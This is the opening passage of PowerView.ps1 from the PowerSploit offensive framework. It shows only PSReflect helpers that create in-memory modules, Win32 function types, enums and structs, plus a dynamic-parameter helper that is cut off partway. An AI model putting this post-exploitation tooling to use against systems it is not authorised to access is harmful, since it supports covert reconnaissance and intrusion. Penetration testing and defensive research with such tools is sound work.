PowerView.ps1 (770279B)
1 #requires -version 2 2 3 <# 4 5 PowerSploit File: PowerView.ps1 6 Author: Will Schroeder (@harmj0y) 7 License: BSD 3-Clause 8 Required Dependencies: None 9 10 #> 11 12 13 ######################################################## 14 # 15 # PSReflect code for Windows API access 16 # Author: @mattifestation 17 # https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 18 # 19 ######################################################## 20 21 function New-InMemoryModule { 22 <# 23 .SYNOPSIS 24 25 Creates an in-memory assembly and module 26 27 Author: Matthew Graeber (@mattifestation) 28 License: BSD 3-Clause 29 Required Dependencies: None 30 Optional Dependencies: None 31 32 .DESCRIPTION 33 34 When defining custom enums, structs, and unmanaged functions, it is 35 necessary to associate to an assembly module. This helper function 36 creates an in-memory module that can be passed to the 'enum', 37 'struct', and Add-Win32Type functions. 38 39 .PARAMETER ModuleName 40 41 Specifies the desired name for the in-memory assembly and module. If 42 ModuleName is not provided, it will default to a GUID. 43 44 .EXAMPLE 45 46 $Module = New-InMemoryModule -ModuleName Win32 47 #> 48 49 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] 50 [CmdletBinding()] 51 Param ( 52 [Parameter(Position = 0)] 53 [ValidateNotNullOrEmpty()] 54 [String] 55 $ModuleName = [Guid]::NewGuid().ToString() 56 ) 57 58 $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) 59 $LoadedAssemblies = $AppDomain.GetAssemblies() 60 61 foreach ($Assembly in $LoadedAssemblies) { 62 if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { 63 return $Assembly 64 } 65 } 66 67 $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) 68 $Domain = $AppDomain 69 $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') 70 $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) 71 72 return $ModuleBuilder 73 } 74 75 76 # A helper function used to reduce typing while defining function 77 # prototypes for Add-Win32Type. 78 function func { 79 Param ( 80 [Parameter(Position = 0, Mandatory = $True)] 81 [String] 82 $DllName, 83 84 [Parameter(Position = 1, Mandatory = $True)] 85 [string] 86 $FunctionName, 87 88 [Parameter(Position = 2, Mandatory = $True)] 89 [Type] 90 $ReturnType, 91 92 [Parameter(Position = 3)] 93 [Type[]] 94 $ParameterTypes, 95 96 [Parameter(Position = 4)] 97 [Runtime.InteropServices.CallingConvention] 98 $NativeCallingConvention, 99 100 [Parameter(Position = 5)] 101 [Runtime.InteropServices.CharSet] 102 $Charset, 103 104 [String] 105 $EntryPoint, 106 107 [Switch] 108 $SetLastError 109 ) 110 111 $Properties = @{ 112 DllName = $DllName 113 FunctionName = $FunctionName 114 ReturnType = $ReturnType 115 } 116 117 if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } 118 if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } 119 if ($Charset) { $Properties['Charset'] = $Charset } 120 if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } 121 if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } 122 123 New-Object PSObject -Property $Properties 124 } 125 126 127 function Add-Win32Type 128 { 129 <# 130 .SYNOPSIS 131 132 Creates a .NET type for an unmanaged Win32 function. 133 134 Author: Matthew Graeber (@mattifestation) 135 License: BSD 3-Clause 136 Required Dependencies: None 137 Optional Dependencies: func 138 139 .DESCRIPTION 140 141 Add-Win32Type enables you to easily interact with unmanaged (i.e. 142 Win32 unmanaged) functions in PowerShell. After providing 143 Add-Win32Type with a function signature, a .NET type is created 144 using reflection (i.e. csc.exe is never called like with Add-Type). 145 146 The 'func' helper function can be used to reduce typing when defining 147 multiple function definitions. 148 149 .PARAMETER DllName 150 151 The name of the DLL. 152 153 .PARAMETER FunctionName 154 155 The name of the target function. 156 157 .PARAMETER EntryPoint 158 159 The DLL export function name. This argument should be specified if the 160 specified function name is different than the name of the exported 161 function. 162 163 .PARAMETER ReturnType 164 165 The return type of the function. 166 167 .PARAMETER ParameterTypes 168 169 The function parameters. 170 171 .PARAMETER NativeCallingConvention 172 173 Specifies the native calling convention of the function. Defaults to 174 stdcall. 175 176 .PARAMETER Charset 177 178 If you need to explicitly call an 'A' or 'W' Win32 function, you can 179 specify the character set. 180 181 .PARAMETER SetLastError 182 183 Indicates whether the callee calls the SetLastError Win32 API 184 function before returning from the attributed method. 185 186 .PARAMETER Module 187 188 The in-memory module that will host the functions. Use 189 New-InMemoryModule to define an in-memory module. 190 191 .PARAMETER Namespace 192 193 An optional namespace to prepend to the type. Add-Win32Type defaults 194 to a namespace consisting only of the name of the DLL. 195 196 .EXAMPLE 197 198 $Mod = New-InMemoryModule -ModuleName Win32 199 200 $FunctionDefinitions = @( 201 (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), 202 (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), 203 (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) 204 ) 205 206 $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' 207 $Kernel32 = $Types['kernel32'] 208 $Ntdll = $Types['ntdll'] 209 $Ntdll::RtlGetCurrentPeb() 210 $ntdllbase = $Kernel32::GetModuleHandle('ntdll') 211 $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') 212 213 .NOTES 214 215 Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 216 217 When defining multiple function prototypes, it is ideal to provide 218 Add-Win32Type with an array of function signatures. That way, they 219 are all incorporated into the same in-memory module. 220 #> 221 222 [OutputType([Hashtable])] 223 Param( 224 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] 225 [String] 226 $DllName, 227 228 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] 229 [String] 230 $FunctionName, 231 232 [Parameter(ValueFromPipelineByPropertyName=$True)] 233 [String] 234 $EntryPoint, 235 236 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] 237 [Type] 238 $ReturnType, 239 240 [Parameter(ValueFromPipelineByPropertyName=$True)] 241 [Type[]] 242 $ParameterTypes, 243 244 [Parameter(ValueFromPipelineByPropertyName=$True)] 245 [Runtime.InteropServices.CallingConvention] 246 $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, 247 248 [Parameter(ValueFromPipelineByPropertyName=$True)] 249 [Runtime.InteropServices.CharSet] 250 $Charset = [Runtime.InteropServices.CharSet]::Auto, 251 252 [Parameter(ValueFromPipelineByPropertyName=$True)] 253 [Switch] 254 $SetLastError, 255 256 [Parameter(Mandatory=$True)] 257 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] 258 $Module, 259 260 [ValidateNotNull()] 261 [String] 262 $Namespace = '' 263 ) 264 265 BEGIN 266 { 267 $TypeHash = @{} 268 } 269 270 PROCESS 271 { 272 if ($Module -is [Reflection.Assembly]) 273 { 274 if ($Namespace) 275 { 276 $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") 277 } 278 else 279 { 280 $TypeHash[$DllName] = $Module.GetType($DllName) 281 } 282 } 283 else 284 { 285 # Define one type for each DLL 286 if (!$TypeHash.ContainsKey($DllName)) 287 { 288 if ($Namespace) 289 { 290 $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') 291 } 292 else 293 { 294 $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') 295 } 296 } 297 298 $Method = $TypeHash[$DllName].DefineMethod( 299 $FunctionName, 300 'Public,Static,PinvokeImpl', 301 $ReturnType, 302 $ParameterTypes) 303 304 # Make each ByRef parameter an Out parameter 305 $i = 1 306 foreach($Parameter in $ParameterTypes) 307 { 308 if ($Parameter.IsByRef) 309 { 310 [void] $Method.DefineParameter($i, 'Out', $null) 311 } 312 313 $i++ 314 } 315 316 $DllImport = [Runtime.InteropServices.DllImportAttribute] 317 $SetLastErrorField = $DllImport.GetField('SetLastError') 318 $CallingConventionField = $DllImport.GetField('CallingConvention') 319 $CharsetField = $DllImport.GetField('CharSet') 320 $EntryPointField = $DllImport.GetField('EntryPoint') 321 if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } 322 323 if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } 324 325 # Equivalent to C# version of [DllImport(DllName)] 326 $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) 327 $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, 328 $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), 329 [Reflection.FieldInfo[]] @($SetLastErrorField, 330 $CallingConventionField, 331 $CharsetField, 332 $EntryPointField), 333 [Object[]] @($SLEValue, 334 ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), 335 ([Runtime.InteropServices.CharSet] $Charset), 336 $ExportedFuncName)) 337 338 $Method.SetCustomAttribute($DllImportAttribute) 339 } 340 } 341 342 END 343 { 344 if ($Module -is [Reflection.Assembly]) 345 { 346 return $TypeHash 347 } 348 349 $ReturnTypes = @{} 350 351 foreach ($Key in $TypeHash.Keys) 352 { 353 $Type = $TypeHash[$Key].CreateType() 354 355 $ReturnTypes[$Key] = $Type 356 } 357 358 return $ReturnTypes 359 } 360 } 361 362 363 function psenum { 364 <# 365 .SYNOPSIS 366 367 Creates an in-memory enumeration for use in your PowerShell session. 368 369 Author: Matthew Graeber (@mattifestation) 370 License: BSD 3-Clause 371 Required Dependencies: None 372 Optional Dependencies: None 373 374 .DESCRIPTION 375 376 The 'psenum' function facilitates the creation of enums entirely in 377 memory using as close to a "C style" as PowerShell will allow. 378 379 .PARAMETER Module 380 381 The in-memory module that will host the enum. Use 382 New-InMemoryModule to define an in-memory module. 383 384 .PARAMETER FullName 385 386 The fully-qualified name of the enum. 387 388 .PARAMETER Type 389 390 The type of each enum element. 391 392 .PARAMETER EnumElements 393 394 A hashtable of enum elements. 395 396 .PARAMETER Bitfield 397 398 Specifies that the enum should be treated as a bitfield. 399 400 .EXAMPLE 401 402 $Mod = New-InMemoryModule -ModuleName Win32 403 404 $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ 405 UNKNOWN = 0 406 NATIVE = 1 # Image doesn't require a subsystem. 407 WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. 408 WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. 409 OS2_CUI = 5 # Image runs in the OS/2 character subsystem. 410 POSIX_CUI = 7 # Image runs in the Posix character subsystem. 411 NATIVE_WINDOWS = 8 # Image is a native Win9x driver. 412 WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. 413 EFI_APPLICATION = 10 414 EFI_BOOT_SERVICE_DRIVER = 11 415 EFI_RUNTIME_DRIVER = 12 416 EFI_ROM = 13 417 XBOX = 14 418 WINDOWS_BOOT_APPLICATION = 16 419 } 420 421 .NOTES 422 423 PowerShell purists may disagree with the naming of this function but 424 again, this was developed in such a way so as to emulate a "C style" 425 definition as closely as possible. Sorry, I'm not going to name it 426 New-Enum. :P 427 #> 428 429 [OutputType([Type])] 430 Param ( 431 [Parameter(Position = 0, Mandatory=$True)] 432 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] 433 $Module, 434 435 [Parameter(Position = 1, Mandatory=$True)] 436 [ValidateNotNullOrEmpty()] 437 [String] 438 $FullName, 439 440 [Parameter(Position = 2, Mandatory=$True)] 441 [Type] 442 $Type, 443 444 [Parameter(Position = 3, Mandatory=$True)] 445 [ValidateNotNullOrEmpty()] 446 [Hashtable] 447 $EnumElements, 448 449 [Switch] 450 $Bitfield 451 ) 452 453 if ($Module -is [Reflection.Assembly]) 454 { 455 return ($Module.GetType($FullName)) 456 } 457 458 $EnumType = $Type -as [Type] 459 460 $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) 461 462 if ($Bitfield) 463 { 464 $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) 465 $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) 466 $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) 467 } 468 469 foreach ($Key in $EnumElements.Keys) 470 { 471 # Apply the specified enum type to each element 472 $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) 473 } 474 475 $EnumBuilder.CreateType() 476 } 477 478 479 # A helper function used to reduce typing while defining struct 480 # fields. 481 function field { 482 Param ( 483 [Parameter(Position = 0, Mandatory=$True)] 484 [UInt16] 485 $Position, 486 487 [Parameter(Position = 1, Mandatory=$True)] 488 [Type] 489 $Type, 490 491 [Parameter(Position = 2)] 492 [UInt16] 493 $Offset, 494 495 [Object[]] 496 $MarshalAs 497 ) 498 499 @{ 500 Position = $Position 501 Type = $Type -as [Type] 502 Offset = $Offset 503 MarshalAs = $MarshalAs 504 } 505 } 506 507 508 function struct 509 { 510 <# 511 .SYNOPSIS 512 513 Creates an in-memory struct for use in your PowerShell session. 514 515 Author: Matthew Graeber (@mattifestation) 516 License: BSD 3-Clause 517 Required Dependencies: None 518 Optional Dependencies: field 519 520 .DESCRIPTION 521 522 The 'struct' function facilitates the creation of structs entirely in 523 memory using as close to a "C style" as PowerShell will allow. Struct 524 fields are specified using a hashtable where each field of the struct 525 is comprosed of the order in which it should be defined, its .NET 526 type, and optionally, its offset and special marshaling attributes. 527 528 One of the features of 'struct' is that after your struct is defined, 529 it will come with a built-in GetSize method as well as an explicit 530 converter so that you can easily cast an IntPtr to the struct without 531 relying upon calling SizeOf and/or PtrToStructure in the Marshal 532 class. 533 534 .PARAMETER Module 535 536 The in-memory module that will host the struct. Use 537 New-InMemoryModule to define an in-memory module. 538 539 .PARAMETER FullName 540 541 The fully-qualified name of the struct. 542 543 .PARAMETER StructFields 544 545 A hashtable of fields. Use the 'field' helper function to ease 546 defining each field. 547 548 .PARAMETER PackingSize 549 550 Specifies the memory alignment of fields. 551 552 .PARAMETER ExplicitLayout 553 554 Indicates that an explicit offset for each field will be specified. 555 556 .EXAMPLE 557 558 $Mod = New-InMemoryModule -ModuleName Win32 559 560 $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ 561 DOS_SIGNATURE = 0x5A4D 562 OS2_SIGNATURE = 0x454E 563 OS2_SIGNATURE_LE = 0x454C 564 VXD_SIGNATURE = 0x454C 565 } 566 567 $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ 568 e_magic = field 0 $ImageDosSignature 569 e_cblp = field 1 UInt16 570 e_cp = field 2 UInt16 571 e_crlc = field 3 UInt16 572 e_cparhdr = field 4 UInt16 573 e_minalloc = field 5 UInt16 574 e_maxalloc = field 6 UInt16 575 e_ss = field 7 UInt16 576 e_sp = field 8 UInt16 577 e_csum = field 9 UInt16 578 e_ip = field 10 UInt16 579 e_cs = field 11 UInt16 580 e_lfarlc = field 12 UInt16 581 e_ovno = field 13 UInt16 582 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) 583 e_oemid = field 15 UInt16 584 e_oeminfo = field 16 UInt16 585 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) 586 e_lfanew = field 18 Int32 587 } 588 589 # Example of using an explicit layout in order to create a union. 590 $TestUnion = struct $Mod TestUnion @{ 591 field1 = field 0 UInt32 0 592 field2 = field 1 IntPtr 0 593 } -ExplicitLayout 594 595 .NOTES 596 597 PowerShell purists may disagree with the naming of this function but 598 again, this was developed in such a way so as to emulate a "C style" 599 definition as closely as possible. Sorry, I'm not going to name it 600 New-Struct. :P 601 #> 602 603 [OutputType([Type])] 604 Param ( 605 [Parameter(Position = 1, Mandatory=$True)] 606 [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] 607 $Module, 608 609 [Parameter(Position = 2, Mandatory=$True)] 610 [ValidateNotNullOrEmpty()] 611 [String] 612 $FullName, 613 614 [Parameter(Position = 3, Mandatory=$True)] 615 [ValidateNotNullOrEmpty()] 616 [Hashtable] 617 $StructFields, 618 619 [Reflection.Emit.PackingSize] 620 $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, 621 622 [Switch] 623 $ExplicitLayout 624 ) 625 626 if ($Module -is [Reflection.Assembly]) 627 { 628 return ($Module.GetType($FullName)) 629 } 630 631 [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, 632 Class, 633 Public, 634 Sealed, 635 BeforeFieldInit' 636 637 if ($ExplicitLayout) 638 { 639 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout 640 } 641 else 642 { 643 $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout 644 } 645 646 $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) 647 $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 648 $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 649 650 $Fields = New-Object Hashtable[]($StructFields.Count) 651 652 # Sort each field according to the orders specified 653 # Unfortunately, PSv2 doesn't have the luxury of the 654 # hashtable [Ordered] accelerator. 655 foreach ($Field in $StructFields.Keys) 656 { 657 $Index = $StructFields[$Field]['Position'] 658 $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} 659 } 660 661 foreach ($Field in $Fields) 662 { 663 $FieldName = $Field['FieldName'] 664 $FieldProp = $Field['Properties'] 665 666 $Offset = $FieldProp['Offset'] 667 $Type = $FieldProp['Type'] 668 $MarshalAs = $FieldProp['MarshalAs'] 669 670 $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') 671 672 if ($MarshalAs) 673 { 674 $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) 675 if ($MarshalAs[1]) 676 { 677 $Size = $MarshalAs[1] 678 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, 679 $UnmanagedType, $SizeConst, @($Size)) 680 } 681 else 682 { 683 $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) 684 } 685 686 $NewField.SetCustomAttribute($AttribBuilder) 687 } 688 689 if ($ExplicitLayout) { $NewField.SetOffset($Offset) } 690 } 691 692 # Make the struct aware of its own size. 693 # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! 694 $SizeMethod = $StructBuilder.DefineMethod('GetSize', 695 'Public, Static', 696 [Int], 697 [Type[]] @()) 698 $ILGenerator = $SizeMethod.GetILGenerator() 699 # Thanks for the help, Jason Shirk! 700 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 701 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 702 [Type].GetMethod('GetTypeFromHandle')) 703 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 704 [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) 705 $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) 706 707 # Allow for explicit casting from an IntPtr 708 # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! 709 $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', 710 'PrivateScope, Public, Static, HideBySig, SpecialName', 711 $StructBuilder, 712 [Type[]] @([IntPtr])) 713 $ILGenerator2 = $ImplicitConverter.GetILGenerator() 714 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) 715 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) 716 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 717 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 718 [Type].GetMethod('GetTypeFromHandle')) 719 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 720 [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) 721 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) 722 $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) 723 724 $StructBuilder.CreateType() 725 } 726 727 728 ######################################################## 729 # 730 # Misc. helpers 731 # 732 ######################################################## 733 734 Function New-DynamicParameter { 735 <# 736 .SYNOPSIS 737 738 Helper function to simplify creating dynamic parameters. 739 740 Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/. 741 Originally released under the Microsoft Public License (Ms-PL). 742 743 .DESCRIPTION 744 745 Helper function to simplify creating dynamic parameters. 746 747 Example use cases: 748 Include parameters only if your environment dictates it 749 Include parameters depending on the value of a user-specified parameter 750 Provide tab completion and intellisense for parameters, depending on the environment 751 752 Please keep in mind that all dynamic parameters you create, will not have corresponding variables created. 753 Use New-DynamicParameter with 'CreateVariables' switch in your main code block, 754 ('Process' for advanced functions) to create those variables. 755 Alternatively, manually reference $PSBoundParameters for the dynamic parameter value. 756 757 This function has two operating modes: 758 759 1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse, 760 with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary. 761 762 2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand. 763 Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters, 764 with custom conditions and so on. 765 766 .NOTES 767 768 Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration: 769 https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1 770 http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/ 771 http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/ 772 773 Credit to BM for alias and type parameters and their handling 774 775 .PARAMETER Name 776 777 Name of the dynamic parameter 778 779 .PARAMETER Type 780 781 Type for the dynamic parameter. Default is string 782 783 .PARAMETER Alias 784 785 If specified, one or more aliases to assign to the dynamic parameter 786 787 .PARAMETER Mandatory 788 789 If specified, set the Mandatory attribute for this dynamic parameter 790 791 .PARAMETER Position 792 793 If specified, set the Position attribute for this dynamic parameter 794 795 .PARAMETER HelpMessage 796 797 If specified, set the HelpMessage for this dynamic parameter 798 799 .PARAMETER DontShow 800 801 If specified, set the DontShow for this dynamic parameter. 802 This is the new PowerShell 4.0 attribute that hides parameter from tab-completion. 803 http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/ 804 805 .PARAMETER ValueFromPipeline 806 807 If specified, set the ValueFromPipeline attribute for this dynamic parameter 808 809 .PARAMETER ValueFromPipelineByPropertyName 810 811 If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter 812 813 .PARAMETER ValueFromRemainingArguments 814 815 If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter 816 817 .PARAMETER ParameterSetName 818 819 If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets. 820 821 .PARAMETER AllowNull 822 823 If specified, set the AllowNull attribute of this dynamic parameter 824 825 .PARAMETER AllowEmptyString 826 827 If specified, set the AllowEmptyString attribute of this dynamic parameter 828 829 .PARAMETER AllowEmptyCollection 830 831 If specified, set the AllowEmptyCollection attribute of this dynamic parameter 832 833 .PARAMETER ValidateNotNull 834 835 If specified, set the ValidateNotNull attribute of this dynamic parameter 836 837 .PARAMETER ValidateNotNullOrEmpty 838 839 If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter 840 841 .PARAMETER ValidateRange 842 843 If specified, set the ValidateRange attribute of this dynamic parameter 844 845 .PARAMETER ValidateLength 846 847 If specified, set the ValidateLength attribute of this dynamic parameter 848 849 .PARAMETER ValidatePattern 850 851 If specified, set the ValidatePattern attribute of this dynamic parameter 852 853 .PARAMETER ValidateScript 854 855 If specified, set the ValidateScript attribute of this dynamic parameter 856 857 .PARAMETER ValidateSet 858 859 If specified, set the ValidateSet attribute of this dynamic parameter 860 861 .PARAMETER Dictionary 862 863 If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary. 864 Appropriate for custom dynamic parameters creation. 865 866 If not specified, create and return a RuntimeDefinedParameterDictionary 867 Appropriate for a simple dynamic parameter creation. 868 #> 869 870 [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')] 871 Param ( 872 [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 873 [ValidateNotNullOrEmpty()] 874 [string]$Name, 875 876 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 877 [System.Type]$Type = [int], 878 879 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 880 [string[]]$Alias, 881 882 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 883 [switch]$Mandatory, 884 885 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 886 [int]$Position, 887 888 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 889 [string]$HelpMessage, 890 891 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 892 [switch]$DontShow, 893 894 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 895 [switch]$ValueFromPipeline, 896 897 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 898 [switch]$ValueFromPipelineByPropertyName, 899 900 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 901 [switch]$ValueFromRemainingArguments, 902 903 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 904 [string]$ParameterSetName = '__AllParameterSets', 905 906 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 907 [switch]$AllowNull, 908 909 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 910 [switch]$AllowEmptyString, 911 912 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 913 [switch]$AllowEmptyCollection, 914 915 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 916 [switch]$ValidateNotNull, 917 918 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 919 [switch]$ValidateNotNullOrEmpty, 920 921 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 922 [ValidateCount(2,2)] 923 [int[]]$ValidateCount, 924 925 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 926 [ValidateCount(2,2)] 927 [int[]]$ValidateRange, 928 929 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 930 [ValidateCount(2,2)] 931 [int[]]$ValidateLength, 932 933 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 934 [ValidateNotNullOrEmpty()] 935 [string]$ValidatePattern, 936 937 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 938 [ValidateNotNullOrEmpty()] 939 [scriptblock]$ValidateScript, 940 941 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 942 [ValidateNotNullOrEmpty()] 943 [string[]]$ValidateSet, 944 945 [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] 946 [ValidateNotNullOrEmpty()] 947 [ValidateScript({ 948 if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary])) 949 { 950 Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object' 951 } 952 $true 953 })] 954 $Dictionary = $false, 955 956 [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] 957 [switch]$CreateVariables, 958 959 [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] 960 [ValidateNotNullOrEmpty()] 961 [ValidateScript({ 962 # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class, 963 # so one can't use PowerShell's '-is' operator to validate type. 964 if($_.GetType().Name -notmatch 'Dictionary') { 965 Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' 966 } 967 $true 968 })] 969 $BoundParameters 970 ) 971 972 Begin { 973 $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary 974 function _temp { [CmdletBinding()] Param() } 975 $CommonParameters = (Get-Command _temp).Parameters.Keys 976 } 977 978 Process { 979 if($CreateVariables) { 980 $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ } 981 ForEach($Parameter in $BoundKeys) { 982 if ($Parameter) { 983 Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force 984 } 985 } 986 } 987 else { 988 $StaleKeys = @() 989 $StaleKeys = $PSBoundParameters.GetEnumerator() | 990 ForEach-Object { 991 if($_.Value.PSobject.Methods.Name -match '^Equals$') { 992 # If object has Equals, compare bound key and variable using it 993 if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { 994 $_.Key 995 } 996 } 997 else { 998 